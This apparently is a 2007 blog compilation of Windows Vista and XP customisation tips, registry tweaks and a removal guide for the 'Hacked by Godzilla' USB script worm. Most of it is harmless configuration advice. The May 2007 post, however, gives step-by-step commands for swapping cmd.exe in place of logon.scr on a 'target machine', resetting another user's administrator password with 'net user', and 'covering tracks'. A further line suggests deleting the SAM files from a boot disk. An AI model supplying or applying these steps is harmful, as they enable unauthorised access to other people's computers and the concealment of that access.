HOW TO HACK WINDOWS VISTA

Customizing the Look of the Starup
Windows Vista has a great new look,but after a while,the new look can get old.With the help of some tricks you can customize many components of Windows Vista
Customizing the Boot Screen
Over the several Years that windows vista was in the planning stages and in development,many promises were made about new features and enhancements.One of those promises had to do with high resolution boot screens.This was going to be a great feature replacing the ancient 256-color boot screen that has been with windows since win 95.Over time, as development of vista was slipping behind schedule and developers were plagued with hardware comaptibility problems with the high-resolution boot screen code,the feature was pulled from the final product.
Although this feature never made it in to released version of Windows Vista,there appears to be some parts of it left in the system.This section shows you a cool trick that will enable a hidden boot screen that looks like it was part of the high-resolution feature
Some users have problems with using the hidden boot screen possibly the reason why Microsoft hid it in the first place.If you are one of those users,simply boot in to safe mode and undo the steps for enabling the boot screen.Unfortunatly,it is not currently known exactly what hardware has problem withe the hidden boot screen.When you are read it,follow these steps to eanble this boot screen on your PC:
1. Click the start button,type msconfig in the search box,and then press Enter
2. When the system Configuration Utility loads,Click the Boot tab.
3. Locate the No GUI boot box and select it .
4. Click OK and reboot your computer
You shoulsd see the hidden boot screen after you reboot your PC.if you have problems with the hidden boot screen,just boot into Safe mode(hold down F8 when you boot up) and remove the check from the No GUI Boot box
Customizing the Logon ScreenWindows Vista included a slightly improved Logon screen similiar to the one that was used in windows XP.Gone for good this time is the Windows NT-style classic Logon screen with
which many domain users are familiar(beacause it was included in the last several releases of Windows).
In Windows Vista,Microsoft has done a lot of work on security the logon system by digitally signing the logon components.This makes it next to impossible for anyone to modify the Logon screen files,so it greatly increase the security of Vista.Unfortunatly,it also makes it next to impossible for people like us who want to customize the logon screen;you can no longer just hack a system file and replace some resources in it.now, if you hack a system file with a resource hacker and customize the images in it,the digital signature will be broken and the file will no longer be used by Vista
The days of customizing the logon screen are over for now until someone writes an apllication that extends the Logon screen or someone releases as a patch that disables the requirments for the Logon screen system files to be digitally signed.
So in this end of customizing the Logon screen?Not at all!You can still do a lot of useful tweaks to the Logon screen that will give the Logon screen a personal touch,such a changing user pictures,hiding users,customizing the Logon screen Screensaver,and more.
Changing User pictures
Each user who is setup on your computer can associate an image that appears next to his or her name on the Logon screen.you have the option to select a picture for your account when you install windows.However,the screen that allows you to pick an image offers only a small selection of the pictures available to you.In addition,if you do not like the images that Windows has to offer,you can select any image file
The process of changing a users’s image is simple.Just perform the following steps and you will have it changed in no time
1. Click the Start button,and then Click your user picture
2. Select Change your picture from the middle of the list.
3. You will now be shown all the Windows user images that you can choose from.If you find one you like,click it,and then click the Change Picture button.
4. If you prefer a different photo,click Browse for more pictures to select and use any image file on your PC.
5. After you have selected your new image,your setting change is instantly applied.You can now close user Accounts and Control panel.
Now you have Changed your user image on the Logon screen;you have also updated the image used on the Start menu
Hiding users on the Logon screen
One of the side effects of the new Logon screen is the list of all user accounts on the computer.What if you created an account that you want only to run a service under?You do not want other users of your computer to even have the option to log on to that account because you designated it only to run a service.With the help of a simple Registry hack,it is possilble to hide any account on the Logon screen so that it is no longer possible to log on to it.
Hidden away in the local system settings is the feature that Microsoft used in the past to hide system accounts from the Logon screen.In Windows Vista,the actual Logon screen hides system account,so the old method code was removed from the Registry .However,the functionality still exists.In the next few steps,I show you how to re-create the missing Registry code so that you can use this feature once again to hide your accounts
1. 1. Click the start button,type regedit in the Search box,and then press Enter
2. 2. When Registry Editor loads,navigate through HKEY_LOCAL\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3. 3.You must now create a new key,Right-click the Winlogon folder,select New,and then select Key.Name this new key SpecialAccounts
4. 4.Right-Click the new SpecialAccounts folder,select New,and then select Key,Call this new key UserList
5. 5.Now you are ready to add the name of the account that you want to hide,To add a name ,right-Click and select a new DWORD value
6. 6.When the new DWORD is created,enter the name of the user’s account as the name of the DWORD.After you have done this,you can close the Registry Editor.
After you log off and back on or reboot,the user will not be displayed on the Logon screen.keep in mind that no one will now be able to log on to this account interactively.If you want to hide all accounts and just have a username and password,the next section is for you.If you opt for that method,you can hide all accounts and still log on to them.You just need to remember the username and the password beacause no accounts will be listed any more.
If you ever change your mind and want the account to display on the Logon screen again,Just delete the entry that you made in the list in the system registry,and everything will be back to the way it once was.
Clearing the last user logonEvery time you boot up your PC,all computer accounts and user who have logged on to it display on the Logon screen.this can be a big security risk beacause it shows the username of all accounts that some one can try to use to break into the computer.In addition,the Logon screen can become cluttered with user accounts,Therefore,it might be a good idea to enable the Do not display last user name Policy.In previous version of Windows that used the classic Logon screen,this policy would just clear the User name text box so that an attacker would have no clue about the last account used to log on.With the removal of the classic Logon screen in Vista,this policy behaves slightly differently by removing the account list on the Logon screen and turning on basic User name and Password boxes
Using the policy is easy,if you choose to enable it,if so,just follow these steps:
1. 1. Click the Start button,type secpol.msc ,and press Enter.
2. 2. When the Local Security Policy editor loads,navigate through Local Policies and then Security Option
3. 3. Locate the Intractive Logon:Do not Display last user name policy.Right-Click it and select Properties.
4. 4. On the Local Security Settings tab,select Enabl,and then click OK.
5. 5. Close the Local Security Policy editor and you are finished
As soon as you log off or reboot ,the new Logon screen settings will be present
Changing the Logon screen screensaver
If you turn on your computer and let it sit at the Logon screen long enough, eventually the
screensaver will appear. This setting can be tweaked so that you can set the screensaver that you want to see instead of the boring Windows default. Unlike changing your screensaver for youraccount when you are logged on, it is possible to change the Logon screen screensaver settingonly by using the Registry.With the help of a few quick Registry hacks, you can finetune the screensaver that is displayed and other settings such as the screensaver Timeout value that determines how long before the screensaver is activated.
Follow these simple steps to customize your Logon screensaver:
1. Start the Registry Editor. Click the Start button, type regedit in the box, and press
Enter.
2. When the Registry Editor starts up, navigate through HKEY_USERS\.DEFAULT\
Control Panel\Desktop.
3. Let’s change the amount of time the system waits after the last activity was detected
before starting the screensaver. To do this, right-click the ScreenSaveTimeOut entry
and select Modify. The amount of time to wait is stored in seconds. By default, the
system waits 600 seconds (10 minutes) before starting the screensaver. If you want to
change this value to something shorter, such as 1 minute, just enter a new value, which
for 1 minute would be 60. Then click OK to save your changes.
4. By default, the boring flat Windows Vista logo screensaver displays.Try something a
little more exciting such as the Mystify screensaver.To do this, right-click and select
Modify on the SCRNSAVE.EXE string value. Set the value to the full path of the
screensaver you want to use. For example, I use C:\windows\system32\Mystify.scr for
the Mystify screensaver. Refer the below list for Windows screensavers and the
paths you can use.When you have finished making your change, click OK to save.
5. Close the Registry Editor. You are now finished. After a reboot, you will see your new
screensaver.
Screensaver Name Full path
Aurora C:\Windows\System32\Aurora.scr
Bubbles C:\Windows\System32\Bubbles.scr
Logon (Windows default) C:\Windows\System32\logon.scr
Mystify C:\Windows\System32\Mystify.scr
Photos C:\Windows\System32\PhotoScreensaver.scr
Ribbons C:\Windows\System32\Ribbons.scr
Blank Screen C:\Windows\System32\scrnsave.scr
Vista C:\Windows\System32\ssBranded.scr
3D Text C:\Windows\System32\ssText3d.scr
Displaying a security message
Would you like to display a message to your users before they can log on? Are any instructions
necessary for users of your computers, such as “Do not shut down this computer!” or possibly a
security warning informing unauthorized users that they are breaking the law if they try to log
on to your laptop? All these are possible with the help of Group Policy.With just a few clicks,
you can easily display a message to your visitors
Using the Local Security Policy editor, you can turn this feature on. Follow these steps to activate
it on your PC:
1. Click the Start button, type secpol.msc, and press Enter.
2. When the Local Security Policy editor loads, navigate through Local Policies and then
Security Options.
3. Locate the Interactive logon: Message title for users attempting to log on policy. Rightclick
it and select Properties.
4. On the Local Security Settings tab, type a title that you would like to use for your message
and click OK.
5. Locate the Interactive logon: Message text for users attempting to log on policy. Rightclick
it and select Properties.
6. On the Local Security Settings tab, type your message and click OK.
7. Close the Local Security Policy editor; you are finished.
As soon as you log off or reboot, the security message settings will be activated.
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Thursday, August 2, 2007

Registry Hack Part 2
Add Open With to all filesYou can add "Open With..." to the Right click context menu of all files.This is great for when you have several programs you want to open the same file types with. I use three different text editors so I added it to the ".txt" key.1. Open RegEdit2. Go to HKEY_CLASSES_ROOT\*\Shell3. Add a new Key named "OpenWith" by right clicking the "Shell" Key and selecting new4. Set the (Default) to "Op&en With..."5. Add a new Key named "Command" by right clicking the "OpenWith" Key and selecting new6. Set the (Default) to "C:\Windows\rundll32.exe shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must enter the "OpenAs_RunDLL %1" exactly this way.Customize the System TrayYou can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.1. Open RegEdit2. Go to HKEY_CURRENT_USER\Control Panel\International3. Add two new String values, "s1159" and "s2359"4. Right click the new value name and modify. Enter anything you like up to 8 characters.If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.Lock Out Unwanted UsersWant to keep people from accessing Windows, even as the default user? If you do not have a domain do not attempt this.1. Open RegEdit2. Go to HKEY_LOCAL_MACHINE\Network\Logon3. Create a dword value "MustBeValidated"4. Set the value to 1This forced logon can be bypassed in Safe Mode on Windows 9xDisable the Outlook Express Splash ScreenYou can make OutLook Express load quicker by disabling the splash screen:1. Open RegEdit2. Go to HKEY_CURRENT_USER\Software\Microsoft\OutLook Express3. Add a string value "NoSplash"4. Set the value data to 1 as a Dword valueMultiple Columns For the Start MenuTo make Windows use multiple Start Menu Columns instead of a single scrolling column, like Windows 9x had, Also if you are using Classic Mode in XP1. Open RegEdit2. Go to the keyHKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced3. Create a string value "StartMenuScrollPrograms"4. Right click the new string value and select modify5. Set the value to "FALSE"Change the Registered Change the User InformationYou can change the Registered Owner or Registered Organization to anything you want even after Windows is installed.1) Open RegEdit2) Got toHKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion.3) Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you wantChanging Windows' IconsYou can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.1. Open RegEdit2. Go toHKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons3. Add a string value for each Icon you wish to change.Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.0= Unknown file type1= MSN file types2= Applications Generic3= Closed Folder4= Open Folder5= 5.25" Drive6= 3.25" Drive7= Removable Drive8= Hard Drive9= NetWork Drive10= Network Drive Offline11= CD-ROM Drive12= RAM Drive13= Entire Network 14= Network Hub15= My Computer16= Printer17= Network Neighborhood18= Network Workgroup19= Start Menu's Program Folders20= Start Menu's Documents21= Start Menu's Setting22= Start Menu's Find23= Start Menu's Help24= Start Menu's Run25= Start Menu's Suspend26= Start Menu's PC Undock27= Start Menu's Shutdown 28= Shared29= Shortcut Arrow30= (Unknown Overlay)31= Recycle Bin Empty32= Recycle Bin Full33= Dial-up Network34= DeskTop35= Control Panel36= Start Menu's Programs37= Printer Folder38= Fonts Folder39= Taskbar Icon40= Audio CDYou need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed.Change Default Folder LocationsYou can change or delete the Windows mandatory locations of folder like My Documents:1. Open RegEdit2. Go to HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders3. Change the desired folder location, My Documents is normally list as "Personal"4. Open the Explorer and rename or create the folder you wish.To change the desired location of the Program Files folder1. Go toHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion2. Change the value of "ProgramFiles", or "ProgramFilesDir"Now when you install a new program it will default to the new location you have selectedOpening a DOS Window to either the Drive or Directory in ExplorerAdd the following Registry Keys for a Directory:HKEY_CLASSES_ROOT\Directory\shell\opennew@="Dos Prompt in that Directory"HKEY_CLASSES_ROOT\Directory\shell\opennew\command@="command.com /k cd %1"Add or Edit the following Registry Keys for a Drive:HKEY_CLASSES_ROOT\Drive\shell\opennew@="Dos Prompt in that Drive"HKEY_CLASSES_ROOT\Drive\shell\opennew\command@="command.com /k cd %1"These will allow you to right click on either the drive or the directory and the option of starting the dos prompt will pop up.Changing Exchange/Outlook Mailbox LocationTo change the location of your mailbox for Exchange:1. Open RegEdit2. Go toHKEY_CURRENT_USER\Software\ Microsoft\Windows Messaging Subsystem\ Profiles3. Go to the profile you want to change4. Go to the value name that has the file location for your mailbox (*.PST) file5. Make the change to file location or nameTo change the location of your mailbox for Outlook1. Open RegEdit2. Go to HKEY_CURRENT_USER\Software\Microsoft\Outlook (or Outlook Express if Outlook Express)3. Go to the section "Store Root"4. Make the change to file locationAdd/Remove Sound Events from Control PanelYou can Add and delete sounds events in the Control Panel. In order to do that:1. Open RegEdit2. Go to HKEY_CURRENT_USER\AppEvents\Schemes\Apps and HKEY_CURRENT_USER\AppEvents\Schemes\Eventlabels. If this key does not exist you can create it and add events.3. You can add/delete any items you want to or delete the ones you no longer want.
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Monday, July 30, 2007

Remove windows script host c:\ms32dll.dll.vbs
Hacked By Godzilla - The CureHacked by Godzilla, and it’s variants have been circulating around southeast Asia, mostly by infected thumbdrives for a few months now. It’s actually an amateurish script written by a twat, but that’s not what’s important here, what’s important is getting the fix.Before you do anything else, make a backup of the windows registry! To do this, Go to Start/Run.Type in regedit. Click OK. This will open the registry editor. With the Registry Editor Open click once on My Computer to highlight it.Then click File, then select Export. Save the export as Registry Backup. If you do not make a backup and make a mistake in changing the registry which must be done to get rid of the virus, you may have to reformat and reinstall Windows to get back to normal operation. Since you cannot create a system restore point, making this backup of the registry is critical.The FixDouble click the My Computer icon on the desktop. Then select Tools/Folder/OptionsClick the View Tab and in the list of options:-Click the radio button for Show Hidden files and folders-Uncheck the boxes for-Hide Extensions for known file typesandHide Protected Operating System Files(After removing the virus, you should reverse these actions - instructions for doing this are at the end of the Fix)Click OK at the bottom of the Folder Options Window. Do not close Windows Explorer yet!Press Control-Alt-Del to bring up the Task ManagerClick the Processes TabUnder the column Image Name locate the item wscript.exe. Click on it to highlight it, then right click and select End Process.Go back to Windows Explorer - do not double click anything. Locate the files autorun.inf and MS32DLL.dll.vbs They should be located at c:\autorun.inf and c:\MS32DLL.dll.vbs (or on the drive that contains the operating system, if not C drive). Left click ONCE on each to highlight it. Then Press Shift+Del. Do this for the root of each drive,e.g.,(c:\ is the root…folders appearing after the root are not!)d:\autorun.inf and d:\MS32DLL.dll.vbse:\autorun.inf and e:\MS32DLL.dll.vbsf:\autorun.inf and f:\MS32DLL.dll.vbs, etc.(note that if you have a CD/DVD burner program, like Roxio and possibly Nero, autoruns.inf is a legitimate file.Delete those files from any USB drive, floppy disk, DVD drive and/or Writeable CDs (CD-RW) that you have.Open the folder c:\Windows and delete the file MS32DLL.dll.vbs by using Shift+Del. You MUST hit shift+delete to completely delete it!IF YOU DIDN’T BACK UP THE REGISTRY YET, DO IT NOW!!Go to Start/Run.Type in regedit. Click OK. This will open the registry editorIn the Registry Editor, navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Current Version\Run. In the right frame, locate MS32DLL. Click it once to highlight it and right click and delete it. If you do not find it, proceed to the next stepWhile still in the Registry Editor, navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main. In the right frame locate the name Windows Title Hacked by Godzilla Right click the item Windows Title and delete it.Click Start/Run. Type gpedit.msc then click OKIn the left frame double click User Configuration, then Administrative Templates then System. In the right frame locate Turn off Autoplay. Double left click it andClick the radio button for Enabled and select All drives . Then click OK. By disabling autoruns, you will be able to run virus and spyware scans on a CD/DVD, Floppy or USB flash drive (or mp3 player) BEFORE a virus or spyware can execute. Now you can close the Group Policy Editor.Click Start/Run. Type in msconfig, then click OK. When the Configuration editor opens click the Startup tab.Locate the item ms32dll (in the startup item column) and uncheck the box.Click OK at the bottom to close the Config Editor, and, when asked select Exit Without Restart.Double click the My Computer icon on the desktop. Then select Tools/Folder Options1) Click the View Tab and in the list of options:2) Click the radio button for “Do Not Show Hidden files and folders”3) Check the boxes for“Hide Extensions for known file types”and“Hide Protected Operating System Files4) Click OK at the bottom of the Folder Options Window.15. Locate the Recycle bin in Windows Explorer an click right on it and select Empty Recycle bin16. Reboot your computer. The virus should be gone.17. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tabSelect Turn off System Restore on all drives. Then Click Apply and OK18. Reboot your computer.19. Right click the My Computer icon on your desktop and select properties. Then click the System Restore tab.Un-check the box for “Turn off System Restore on all drives. Then Click Apply and OKWhen you are sure that you no longer have the virus, create a system restore point.
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Monday, May 14, 2007

Hacking Xp And Registry Hack Part 1
How to hack windows XP admin passwordIf you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dosNow what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes"net user password"If the Administrator Account is called Frank and you want the password blah enter this"net user Frank blah"and this changes the password on franks machine to blah and your in.Have funp.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracksRegistry HackingDisplay legal notice on startup:Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.REGEDIT[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]"legalnoticecaption"="enter your notice caption""legalnoticetext"="enter your legal notice text"Automatic Administrator Login:Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.REGEDIT 4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"AutoAdminLogon"="1"No Shutdown:Wanna play with your friends by removing the shutdown option from start menu in their computer.Just hack it down !!!RegeditHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer"NoClose"="DWORD:1"Menu Delays:Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.GPEDIT.MSC And AutoplayA great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.Increasing options in add/remove programs:Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:[Components]NtComponents=ntoc.dll,NtOcSetupProc,,4WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7Display=desk.cpl,DisplayOcSetupProc,,7Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7iis=iis.dll,OcEntry,iis.inf,,7com=comsetup.dll,OcEntry,comnt5.inf,hide,7dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6ims=imsinsnt.dll,OcEntry,ims.inf,,7fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7To this:msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".Automatically Kill Programs At Shutdown:don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.Speeding Up Share Viewing:This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!Create a Shortcut to Lock Your Computer Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.Speed up Internet Explorer 6 FavoritesFor some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.AspiWinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.Another way ...Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.
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